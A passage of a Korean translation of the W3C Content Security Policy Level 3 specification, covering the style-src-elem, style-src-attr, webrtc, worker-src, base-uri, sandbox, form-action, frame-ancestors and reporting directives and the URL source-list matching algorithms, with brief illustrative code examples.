  2. § 6.8.4 fetch 지시어 실행 여부name, style-src-elem, policy에 대해 실행한 결과가 "No"이면 "Allowed"를 반환한다.

  3. § 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인requestcryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

  4. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.14.2. style-src-elem 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, style-src-elem, policy에 대해 실행한 결과가 "No"이면 "Allowed"를 반환한다.

  3. § 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인requestcryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

  4. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.14.3. style-src-elem 인라인 검사

이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, style-src-elem, policy에 대해 실행한 결과가 "No"이면 "Allowed"를 반환한다.

  3. § 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.15. style-src-attr

지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "style-src-attr"
directive-value = serialized-source-list

style-src-attr 지시어는 style 속성의 동작을 관리합니다.

6.1.15.1. style-src-attr 인라인 검사

이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, style-src-attr, policy에 대해 실행한 결과가 "No"이면 "Allowed"를 반환한다.

  3. § 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.2. 기타 지시어

6.2.1. webrtc

webrtc 지시어는 WebRTC를 통한 연결의 허용 여부를 제한합니다. 지시어의 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: webrtc 'block'

아래와 같이 설정하면, ICE 서버에 대해 STUN 체크가 이루어지지 않아 로컬 ICE 후보가 노출되지 않습니다. JS에서 제공한 원격 후보에 대해서도 연결 체크가 시도되지 않습니다. connectionState는 "new"에서 "connected"로 전이되지 않고 바로 "failed"로 전이됩니다. pc.restartIce()를 시도해도 동일한 결과가 반복됩니다.

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>
6.2.1.1. webrtc 사전 연결 검사

이 지시어의 webrtc 사전 연결 검사는 다음과 같습니다:

  1. 이 지시어의 값(value)이 단일 항목이고, ASCII 대소문자 구분 없이 "'allow'"와 일치하면, "Allowed"를 반환한다.

  2. "Blocked"를 반환한다.

6.2.2. worker-src

worker-src 지시어는 Worker, SharedWorker, ServiceWorker로 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "worker-src"
directive-value = serialized-source-list
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: worker-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 worker-src소스 리스트와 일치하지 않기 때문입니다:

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.2.2.1. worker-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, worker-src, policy에 대해 실행한 결과가 "No"이면 "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.2.2.2. worker-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, worker-src, policy에 대해 실행한 결과가 "No"이면 "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.3. 문서 지시어

다음 지시어들은 정책이 적용되는 문서 또는 워커 환경의 속성을 제어합니다.

6.3.1. base-uri

base-uri 지시어는 URL이 다음 위치에서 사용될 수 있는지 제한합니다: Documentbase 요소. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "base-uri"
directive-value = serialized-source-list

다음 알고리즘은 HTML의 frozen base url 설정 알고리즘에서 호출되어 이 지시어를 감시 및 적용합니다:

6.3.1.1. documentbase가 허용되는가?

URL baseDocument document가 주어졌을 때, 이 알고리즘은 base 요소의 href 속성값으로 base를 사용할 수 있으면 "Allowed"를, 아니면 "Blocked"를 반환한다:

  1. 각각의 policy에 대해 document전역 객체csp 리스트에서:

    1. source list를 null로 한다.

    2. 지시어name이 "base-uri"인 것이 policy지시어 집합에 있으면, source list를 그 지시어값(value)으로 설정한다.

    3. source list가 null이면, 다음 policy로 건너뛴다.

    4. § 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인base, source list, policyself-origin, 0에 대해 실행한 결과가 "Does Not Match"면:

      1. violation§ 2.4.1 전역, 정책, 지시어에 대한 violation 객체 생성document전역 객체, policy, "base-uri"에 대해 실행한 결과로 한다.

      2. violationresource를 "inline"으로 설정한다.

      3. § 5.5 violation 보고violation에 대해 실행한다.

      4. policydisposition이 "enforce"이면, "Blocked"를 반환한다.

    참고: fallback base URL과 비교하는 것은 iframe srcdoc Document처럼 opaque origin으로 샌드박스된 경우를 올바르게 처리하기 위함입니다.

  2. "Allowed"를 반환한다.

6.3.2. sandbox

sandbox 지시어는 사용자 에이전트가 리소스에 적용할 HTML 샌드박스 정책을 지정합니다. 이는 iframe 요소의 sandbox 속성에 포함된 것과 동일하게 동작합니다.

지시어의 문법은 다음 ABNF로 정의되며, 각 토큰 값은 반드시 HTML 명세에서 sandbox 속성에 대해 허용된 값이어야 합니다 [HTML]:

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

이 지시어는 보고 요구사항이 없습니다. Content-Security-Policy-Report-Only 헤더 또는 meta 요소에서 전달되면 완전히 무시됩니다.

6.3.2.1. sandbox 초기화

이 지시어의 초기화 알고리즘은 워커가 정책에 따라 sandbox 값에 따라 실행될 수 있는지 확인하는 역할을 한다:

참고: sandbox 지시어는 또한 Documentactive sandboxing flag setCSP-derived sandboxing flags 알고리즘을 통해 조정하는 역할도 합니다.

Document 또는 전역 객체 context, policy policy가 주어졌을 때:

  1. policydisposition이 "enforce"가 아니거나, contextWorkerGlobalScope가 아니면, 이 알고리즘을 중단한다.

  2. sandboxing flag set을 새로운 sandboxing flag set으로 한다.

  3. 샌드박스 지시어 파싱을 이 지시어의 값(value)sandboxing flag set에 대해 실행한다.

  4. sandboxing flag setsandboxed scripts browsing context flag 또는 sandboxed origin browsing context flag가 있으면, "Blocked"를 반환한다.

    참고: 워커를 고유한 origin으로 샌드박스할 수 있도록 하는 경우 이 동작이 변경될 수 있습니다.

  5. "Allowed"를 반환한다.

6.4. 내비게이션 지시어

6.4.1. form-action

form-action 지시어는 특정 컨텍스트에서 폼 제출의 대상이 될 수 있는 URL을 제한합니다. 지시어 문법은 아래 ABNF로 정의됩니다:

directive-name  = "form-action"
directive-value = serialized-source-list
6.4.1.1. form-action 사전 내비게이션 검사

request request, 문자열 navigation type ("form-submission" 또는 "other"), policy policy가 주어졌을 때, 이 알고리즘은 폼 제출이 form-action 지시어의 제약을 위반하면 "Blocked", 그렇지 않으면 "Allowed"를 반환한다. 이 알고리즘이 form-action 지시어의 사전 내비게이션 검사이다:

  1. 단언: policy는 이 알고리즘에서 사용되지 않는다.

  2. navigation type이 "form-submission"이면:

    1. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  3. "Allowed"를 반환한다.

6.4.2. frame-ancestors

frame-ancestors 지시어는 URL이 다음 요소를 통해 리소스를 임베드할 수 있는지 제한합니다: frame, iframe, object, embed. 이 지시어를 사용하면 리소스가 잠재적으로 악의적인 컨텍스트에 임베드되는 것을 방지하여 UI Redressing [UISECURITY] 공격을 예방할 수 있습니다.

지시어의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

frame-ancestors 지시어는 meta 요소의 정책에 포함되어 있으면 무시되어야 합니다.

참고: frame-ancestors 지시어 문법은 소스 리스트와 비슷하지만, frame-ancestorsdefault-src의 값으로 폴백하지 않습니다. 즉, default-src 'none'만 선언할 경우에도 리소스는 누구에게나 임베드될 수 있습니다.

6.4.2.1. frame-ancestors 내비게이션 응답 검사

request request, 문자열 navigation type ("form-submission" 또는 "other"), response navigation response, navigable target, 문자열 check type ("source" 또는 "response"), policy policy가 주어졌을 때, 이 알고리즘은 target의 조상 중 하나라도 응답에 포함된 frame-ancestors 지시어를 위반하면 "Blocked", 아니면 "Allowed"를 반환한다. 이 알고리즘이 frame-ancestors 지시어의 내비게이션 응답 검사이다:

  1. navigation responseURL로컬이면 "Allowed"를 반환한다.

  2. 단언: request, navigation response, navigation type은 이 알고리즘의 이후 단계에서는 사용되지 않는다. frame-ancestors는 오직 navigation responseframe-ancestors 지시어만을 고려한다.

  3. check type이 "source"면 "Allowed"를 반환한다.

    참고: 'frame-ancestors' 지시어target navigable에만 관련이 있으며, request의 컨텍스트에는 영향을 주지 않는다.

  4. target자식 내비게이션(child navigable)이 아니면 "Allowed"를 반환한다.

  5. currenttarget으로 한다.

  6. current자식 내비게이션(child navigable)인 동안:

    1. documentcurrent컨테이너 문서(container document)로 한다.

    2. originURL 파서origin의 ASCII 직렬화에 대해 실행한 결과로 한다.

    3. § 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인origin, 본 지시어의 값(value), policyself-origin, 0에 대해 실행한 결과가 "Does Not Match"면 "Blocked"를 반환한다.

    4. currentdocumentnode navigable로 설정한다.

  7. "Allowed"를 반환한다.

6.4.2.2. ``X-Frame-Options``과의 관계

이 지시어는 ``X-Frame-Options`` HTTP 응답 헤더와 유사합니다. 'none' 소스 식은 해당 헤더의 `DENY`와, 'self'는 해당 헤더의 `SAMEORIGIN`과 대략적으로 동일합니다. [HTML]

하위 호환 배포를 허용하기 위해, frame-ancestors 지시어는 ``X-Frame-Options`` 헤더를 덮어씁니다. 리소스가 policyframe-ancestors 지시어가 포함되어 있고 disposition이 "enforce"이면, ``X-Frame-Options`` 헤더는 HTML의 처리 모델에 따라 무시됩니다.

6.5. 보고 지시어

이 문서의 다양한 알고리즘은 violation 객체를 § 2.4.2 요청과 정책에 대한 violation 객체 생성 또는 § 2.4.1 전역, 정책, 지시어에 대한 violation 객체 생성을 통해 생성한 후, § 5.5 violation 보고에 전달하는 방식으로 보고 프로세스에 연결됩니다.

6.5.1. report-uri

참고: report-uri 지시어는 더 이상 권장되지 않습니다. 대신 report-to 지시어를 사용하세요. 후자가 있으면 이 지시어는 무시됩니다. 하위 호환성을 위해 두 지시어를 모두 아래처럼 지정하는 것이 좋습니다:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

report-uri 지시어는 특정 동작이 차단될 때 CSP 위반 보고서가 전송될 엔드포인트 집합을 정의합니다.

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )

; uri-reference 문법은 RFC 3986 4.1절에서 정의됨.

이 지시어는 단독으로는 아무 효과가 없으며, 다른 지시어와 조합될 때만 의미를 가집니다.

6.5.2. report-to

report-to 지시어는 위반 보고서를 전송해야 하는 보고 엔드포인트를 정의합니다 [REPORTING]. 지시어의 동작은 § 5.5 violation 보고에서 정의됩니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "report-to"
directive-value = token

6.6. 다른 문서에 정의된 지시어

이 문서는 핵심 지시어 집합을 정의하며, 다른 명세가 모듈형으로 확장할 수 있는 프레임워크를 제공합니다. 이 문서가 작성된 시점에 CSP를 확장하는 안정화된 문서는 다음과 같습니다:

CSP 확장 명세는 반드시 [RFC7762]에서 설명하는 절차에 따라 등록해야 합니다. 특히 해당 문서 4.2절의 기준을 참고하세요.

새로운 지시어는 Fetch와 HTML에 통합되기 위해 사전 요청 검사(pre-request check), 사후 요청 검사(post-request check), 초기화(initialization) 훅을 사용하는 것이 좋습니다.

6.7. 매칭 알고리즘

6.7.1. 스크립트 지시어 검사

6.7.1.1. 스크립트 지시어 사전 요청 검사

request request, directive directive, policy policy가 주어졌을 때:

  1. requestdestination스크립트류이면:

    1. § 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인requestcryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

    2. § 6.7.2.4 무결성 메타데이터가 소스 리스트와 일치하는지 확인requestintegrity metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

    3. directive값(value)소스 식(source expression)이 포함되어 있고, 그 값이 "'strict-dynamic'" 키워드-소스(keyword-source)와 ASCII 대소문자 구분 없이 일치할 경우:

      1. requestparser metadata"parser-inserted"이면 "Blocked"를 반환한다.

        그 외에는 "Allowed"를 반환한다.

        참고: "'strict-dynamic'" 자세한 설명은 § 8.2 "'strict-dynamic'" 사용법 참고.

    4. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, directive값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  2. "Allowed"를 반환한다.

6.7.1.2. 스크립트 지시어 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, directive directive, policy policy가 주어졌을 때:

참고: 이 검사는 requestcryptographic nonce metadataintegrity metadata가 일치하는 경우에는 스크립트가 로드되는 것이 허용되므로, response의 URL이 소스 리스트와 일치하는지 여부는 검사하지 않습니다. 따라서 requestresponse 모두가 입력 파라미터로 필요합니다.

  1. requestdestination스크립트류이면:

    1. potentially report hashresponse, request, directive, policy로 호출한다.

    2. § 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인requestcryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

    3. § 6.7.2.4 무결성 메타데이터가 소스 리스트와 일치하는지 확인requestintegrity metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

    4. directive값(value)소스 식(source expression)이 포함되어 있고, 그 값이 "'strict-dynamic'" 키워드-소스(keyword-source)와 ASCII 대소문자 구분 없이 일치할 경우:

      1. requestparser metadata"parser-inserted"이면 "Blocked"를 반환한다.

        그 외에는 "Allowed"를 반환한다.

        참고: "'strict-dynamic'" 자세한 설명은 § 8.2 "'strict-dynamic'" 사용법 참고.

    5. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, directive값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  2. "Allowed"를 반환한다.

6.7.2. URL 일치 검사

6.7.2.1. requestpolicy를 위반하는가?

request requestpolicy policy가 주어졌을 때, 이 알고리즘은 요청이 정책을 위반하면 위반한 지시어를 반환하고, 그렇지 않으면 "Does Not Violate"를 반환한다.

  1. requestinitiator가 "prefetch"이면, § 6.7.2.2 리소스 힌트 요청이 정책을 위반하는가?requestpolicy에 대해 실행한 결과를 반환한다.

  2. violates를 "Does Not Violate"로 한다.

  3. directive에 대하여 policy에서:

    1. resultdirective사전 요청 검사requestpolicy로 실행한 결과로 한다.

    2. result가 "Blocked"이면 violatesdirective로 한다.

  4. violates를 반환한다.

6.7.2.2. 리소스 힌트 requestpolicy를 위반하는가?

request requestpolicy policy가 주어졌을 때, 이 알고리즘은 리소스 힌트 요청이 모든 정책을 위반하면 기본 지시어를 반환하며, 그렇지 않으면 "Does Not Violate"를 반환한다.

  1. defaultDirectivepolicy의 첫 번째 지시어name이 "default-src"인 것으로 한다.

  2. defaultDirective가 없으면 "Does Not Violate"를 반환한다.

  3. directive에 대하여 policy에서:

    1. directivename이 아래 중 하나가 아니면:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      그렇다면 다음 directive로 진행.

    2. 단언: directive값(value)소스 리스트이다.

    3. result§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, directive값(value), policy로 실행한 결과로 한다.

    4. result가 "Allowed"이면 "Does Not Violate"를 반환한다.

  4. defaultDirective를 반환한다.

6.7.2.3. noncesource list와 일치하는가?

requestcryptographic nonce metadata noncesource list source list가 주어졌을 때, 이 알고리즘은 nonce가 리스트 내 하나 이상의 소스 식과 일치하면 "Matches", 그렇지 않으면 "Does Not Match"를 반환한다:

  1. 단언: source list는 null이 아니다.

  2. nonce가 빈 문자열이면 "Does Not Match"를 반환한다.

  3. expression에 대해 source list에서:

    1. expressionnonce-source 문법에 일치하고, nonce동일하다면 expressionbase64-value 부분과, "Matches"를 반환한다.

  4. "Does Not Match"를 반환한다.

6.7.2.4. integrity metadatasource list와 일치하는가?

requestintegrity metadata integrity metadatasource list source list가 주어졌을 때, 이 알고리즘은 무결성 메타데이터가 리스트 내 하나 이상의 소스 식과 일치하면 "Matches", 그렇지 않으면 "Does Not Match"를 반환한다:

  1. 단언: source list는 null이 아니다.

  2. integrity expressionssource list 내에서 소스 식hash-source 문법에 일치하는 집합으로 한다.

  3. integrity expressions가 비어 있으면 "Does Not Match"를 반환한다.

  4. integrity sources메타데이터 파싱integrity metadata에 대해 실행한 결과로 한다. [SRI]

  5. integrity sources가 "no metadata" 또는 빈 집합이면 "Does Not Match"를 반환한다.

  6. source에 대해 integrity sources에서:

    1. integrity expressions소스 식을 포함하지 않으면, 해당 hash-algorithmsourcehash-algorithm과 ASCII 대소문자 구분 없이 일치하고, base64-value동일하지 않으면 "Does Not Match"를 반환한다.

  7. "Matches"를 반환한다.

참고: 여기서는 integrity metadatasource listhash-source 소스의 비어 있지 않은 부분집합인지 여부만 검증한다. 브라우저의 Subresource Integrity [SRI] 구현이 응답 시 일치하지 않는 리소스를 차단하는 역할을 한다.

6.7.2.5. requestsource list와 일치하는가?

request request, source list source list, policy policy가 주어졌을 때, 이 알고리즘은 § 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인requestcurrent url, source list, policyself-origin, requestredirect count에 대해 실행한 결과를 반환한다.

참고: 이 검사는 일반적으로 지시어사전 요청 검사 알고리즘에서 해당 request가 올바른지 확인하는 데 사용된다.

6.7.2.6. responserequest에 대해 source list와 일치하는가?

response response, request request, source list source list, policy policy가 주어졌을 때, 이 알고리즘은 § 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인responseurl, source list, policyself-origin, requestredirect count에 대해 실행한 결과를 반환한다.

참고: 이 검사는 일반적으로 지시어사후 요청 검사 알고리즘에서 해당 response 가 올바른지 확인하는 데 사용된다.

6.7.2.7. urloriginredirect count와 함께 source list와 일치하는가?

URL url, source list source list, origin origin, 숫자 redirect count가 주어졌을 때, 이 알고리즘은 urlsource list 내 하나 이상의 소스 식과 일치하면 "Matches", 그렇지 않으면 "Does Not Match"를 반환한다:

  1. 단언: source list는 null이 아니다.

  2. source list비어 있으면 "Does Not Match"를 반환한다.

  3. source list크기가 1이고, source list[0]이 "'none'" 문자열과 ASCII 대소문자 구분 없이 일치하면 "Does Not Match"를 반환한다.

    참고: 값 없는 지시어(script-src처럼, script-src host1처럼 값이 있는 것이 아님)는 빈 소스 리스트로 취급되고, 이는 'none'을 포함한 소스 리스트와 동일하며 어떤 URL과도 일치하지 않는다.

    참고: 'none' 키워드는 다른 소스 식이 있을 때는 아무 효과가 없다. 즉, 리스트 « 'none' »는 어떤 URL에도 일치하지 않는다. 하지만 « 'none', https://example.com »과 같은 리스트는 https://example.com/과 일치한다.

  4. expression에 대해 source list에서:

    1. § 6.7.2.8 url이 origin/redirect count와 함께 표현식과 일치하는가?url, expression, origin, redirect count에 대해 실행한 결과가 "Matches"이면 "Matches"를 반환한다.

  5. "Does Not Match"를 반환한다.

6.7.2.8. urloriginredirect count와 함께 expression과 일치하는가?

URL url, source expression expression, origin origin, 숫자 redirect count가 주어졌을 때, 이 알고리즘은 urlexpression과 일치하면 "Matches"를, 그렇지 않으면 "Does Not Match"를 반환한다.

참고: originexpression이 해석되는 기준이 되는 리소스의 origin이다. 예를 들어 "'self'"는 해당 컨텍스트에 따라 의미가 달라진다.

  1. expression이 문자열 "*"이면, 다음 조건 중 하나라도 충족하면 "Matches"를 반환한다:

    1. urlschemeHTTP(S) scheme이다.

    2. urlschemeoriginscheme과 동일하다.

    참고: 이 로직에 따라 HTTP(S)가 아닌 scheme의 리소스를 허용하려면 명시적으로 지정해야 하며 (default-src * data: custom-scheme-1: custom-scheme-2:처럼), 혹은 보호된 리소스가 동일 scheme에서 로드되어야 한다.

  2. expressionscheme-source 또는 host-source 문법에 일치하면:

    1. expressionscheme-part가 있고 urlschemescheme-part match하지 않으면 "Does Not Match"를 반환한다.

    2. expressionscheme-source 문법에 일치하면, "Matches"를 반환한다.

  3. expressionhost-source 문법에 일치하면:

    1. urlhost 가 null이면 "Does Not Match"를 반환한다.

    2. expressionscheme-part가 없고, originschemeurlscheme-part match가 아니면, "Does Not Match"를 반환한다.

      참고: 위의 scheme-part와 마찬가지로, scheme이 없는 host-source 표현식은 불안전한 scheme에서 안전한 scheme으로 업그레이드할 수 있다.

    3. expressionhost-parturlhosthost-part match하지 않으면 "Does Not Match"를 반환한다.

    4. port-partexpressionport-part (존재할 경우), 없으면 null로 한다.

    5. port-parturlport-part match하지 않으면 "Does Not Match"를 반환한다.

    6. expression에 비어 있지 않은 path-part가 있고, redirect count가 0이면:

      1. pathURL path serializerurl에 실행한 결과로 한다.

      2. expressionpath-partpathpath-part match하지 않으면 "Does Not Match"를 반환한다.

    7. "Matches"를 반환한다.

  4. expression이 "'self'"와 ASCII 대소문자 구분 없이 일치하면, 다음 조건 중 하나라도 충족하면 "Matches"를 반환한다:

    1. originurlorigin과 동일하다.

    2. originhosturlhost와 동일하며, originporturlport 가 동일하거나, 각 scheme에 대한 기본 포트일 때, 다음 조건 중 하나를 만족하면:

      1. urlscheme이 "https" 또는 "wss"이다.

      2. originscheme이 "http"이고, urlscheme이 "http" 또는 "ws"일 때

    참고: 위의 scheme-part 로직과 같이, "'self'" 일치 알고리즘은 안전한 scheme으로 업그레이드가 가능한 경우 허용한다. 이런 업그레이드는 해당 scheme의 기본 포트이거나 보호 대상 리소스의 origin과 포트가 일치하는 경우에만 허용된다.

  5. "Does Not Match"를 반환한다.

6.7.2.9. scheme-part 일치

ASCII 문자열 scheme-part match는, 첫 번째가 scheme-part로 포함된 CSP source expression이 두 번째를 scheme으로 포함한 URL과 일치할 수 있을 경우 참으로 간주한다. 예를 들어 "http"가 "https"와 scheme-part match라고 한다.

참고: 일치 관계는 비대칭이다. 예를 들어 https:https://example.com/http://example.com/과 일치하지 않는다. 명시적으로 불안전한 표현식에서 안전한 업그레이드를 항상 허용한다. script-src http:script-src http: https:와 같고, script-src http://example.comscript-src http://example.com https://example.com와 같으며, connect-src ws:connect-src ws: wss:와 같다.

좀 더 공식적으로, 두 ASCII 문자열 A, Bscheme-part match인 것은 다음 알고리즘이 "Matches"를 반환하는 경우이다:

  1. 다음 중 하나라도 참이면 "Matches"를 반환한다:

    1. AB와 ASCII 대소문자 구분 없이 일치한다.

    2. A가 "http"와 ASCII 대소문자 구분 없이 일치하고, B가 "https"와 ASCII 대소문자 구분 없이 일치한다.

    3. A가 "ws"와 ASCII 대소문자 구분 없이 일치하고, B가 "wss" 또는 "http" 또는 "https"와 ASCII 대소문자 구분 없이 일치한다.

    4. A가 "wss"와 ASCII 대소문자 구분 없이 일치하고, B가 "https"와 ASCII 대소문자 구분 없이 일치한다.

  2. "Does Not Match"를 반환한다.

6.7.2.10. host-part 일치

ASCII 문자열 host-part 일치host 와 일치하는 CSP 소스 식에 첫 번째가 host-part로 포함될 수 있는 경우 참으로 간주한다. 예를 들어, "www.example.com"이 "www.example.com"과 host-part 일치라고 한다.

좀 더 공식적으로, ASCII 문자열 patternhost hosthost-part 일치인 것은 아래 알고리즘이 "Matches"를 반환하는 경우이다:

참고: 일치 관계는 비대칭이다. 즉, patternhost와 일치한다고 해서 hostpattern과 일치하는 것은 아니다. 예를 들어, *.example.comwww.example.comhost-part 일치이지만, www.example.com*.example.comhost-part 일치가 아니다.

참고: 향후 명세에서는 사용성과 수요에 따라 IPv6 및 IPv4 주소의 리터럴을 허용할 수 있다. 하지만 IP 주소의 보안 특성이 네임드 호스트에 비해 약하므로, 작성자들은 가능하면 네임드 호스트를 우선 사용하는 것이 권장된다.

  1. host도메인이 아니면, "Does Not Match"를 반환한다.

  2. pattern이 "*"이면, "Matches"를 반환한다.

  3. pattern이 "*."로 시작하면:

    1. remainingpattern에서 앞의 U+002A (*)를 제거하고 ASCII 소문자화한 값으로 한다.

    2. hostASCII 소문자화한 값이 ends with remaining이면, "Matches"를 반환한다.

    3. "Does Not Match"를 반환한다.

  4. patternhost와 ASCII 대소문자 구분 없이 일치하지 않으면, "Does Not Match"를 반환한다.

  5. "Matches"를 반환한다.

6.7.2.11. port-part 일치

ASCII 문자열 또는 null input port-part 일치 URL url과 일치하는 CSP 소스 식에 첫 번째가 port-part로 포함된 경우 참으로 간주한다. 예를 들어, "80"이 http://example.com에 port-part 일치이다.

  1. 단언: input은 null, "*", 또는 하나 이상의 ASCII 숫자의 시퀀스이다.

  2. input이 "*"과 같으면, "Matches"를 반환한다.

  3. normalizedInputinput이 null이면 null, 아니면 10진수로 해석한 값으로 한다.

  4. normalizedInputurlport와 같으면, "Matches"를 반환한다.

  5. urlport가 null이면:

    1. defaultPorturlscheme에 대한 기본 포트로 한다.

    2. normalizedInputdefaultPort와 같으면, "Matches"를 반환한다.

  6. "Does Not Match"를 반환한다.

6.7.2.12. path-part 일치

ASCII 문자열 path A path-part 일치 또 다른 ASCII 문자열 path B와 일치하는 CSP 소스 식에 첫 번째가 path-part로 포함될 수 있는 경우 참으로 간주한다. 예를 들어, "/subdirectory/"가 "/subdirectory/file"과 path-part 일치이다.

참고: 일치 관계는 비대칭이다. 즉, path Apath B와 일치한다고 해서 path Bpath A와 일치하는 것은 아니다.

  1. path A가 빈 문자열이면, "Matches"를 반환한다.

  2. path A가 하나의 문자이고 U+002F SOLIDUS 문자(/)와 같고 path B가 빈 문자열이면, "Matches"를 반환한다.

  3. path A의 마지막 문자가 U+002F SOLIDUS 문자(/)이면 exact matchfalse로, 아니면 true로 한다.

  4. path list Apath list Bstrictly splittingpath A, path B에 각각 U+002F SOLIDUS 문자(/)로 실행한 결과로 한다.

  5. path list Apath list B보다 항목이 많으면, "Does Not Match"를 반환한다.

  6. exact matchtrue이고, path list Apath list B의 항목 수가 다르면 "Does Not Match"를 반환한다.

  7. exact matchfalse이면:

    1. 단언: path list A의 마지막 항목은 빈 문자열이다.

    2. path list A에서 마지막 항목을 제거한다.

  8. piece A에 대해 path list A에서:

    1. piece Bpath list B의 다음 항목으로 한다.

    2. decoded piece Apercent-decodingpiece A에 실행한 결과로 한다.

    3. decoded piece Bpercent-decodingpiece B에 실행한 결과로 한다.

    4. decoded piece Adecoded piece B와 다르면, "Does Not Match"를 반환한다.

  9. "Matches"를 반환한다.

6.7.3. 요소 일치 알고리즘
